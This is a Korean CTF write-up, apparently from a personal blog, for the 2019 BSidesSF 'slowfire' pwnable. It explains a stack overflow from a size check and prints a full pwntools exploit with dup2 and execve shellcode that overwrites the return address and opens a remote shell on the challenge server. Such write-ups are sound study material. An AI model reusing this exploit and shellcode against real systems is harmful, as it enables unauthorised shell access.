2019 besidesSF slowfire
이걸로 water_dragon
을 제외한 모든 포너블을 풀었다~
취약점은 위 함수에서 발생한다.
buf_sizea
= 0x400이고, total
은 최대 buf_sizea - 1
이므로, buf_sizea > total
을 충족시켜 두 번 입력받아 stack overflow
가 발생한다.
이 바이너리는 nx
도 존재하지 않아서 그냥 dup2 shellcode
짜서 슥 하면 된다.
from pwn import *
context.log_level= 'debug'
context.arch = 'amd64'
e = ELF('slowfire')
#s = process(e.path)
#s = connect('localhost', 4141)
s = connect('slowfire-74fa96b8.challenges.bsidessf.net', 4141)
#l = ELF('1', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
name = asm(shellcraft.dup2('rdi', 0))
name += asm(shellcraft.dup2('rdi', 1))
name += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
msg = 'A'*0x438
msg += p64(0x4040c0)
sla('> ', name)
sla('> ', msg)
io()
'system > writeup' 카테고리의 다른 글
2019 securinet baby_two (0) | 2019.03.25 |
---|---|
2019 utctf jendy's (0) | 2019.03.17 |
2019 besidesSF genius (0) | 2019.03.16 |
2019 besidesSF straw-clutcher (0) | 2019.03.15 |
2019 aeroctf remote_storage (0) | 2019.03.14 |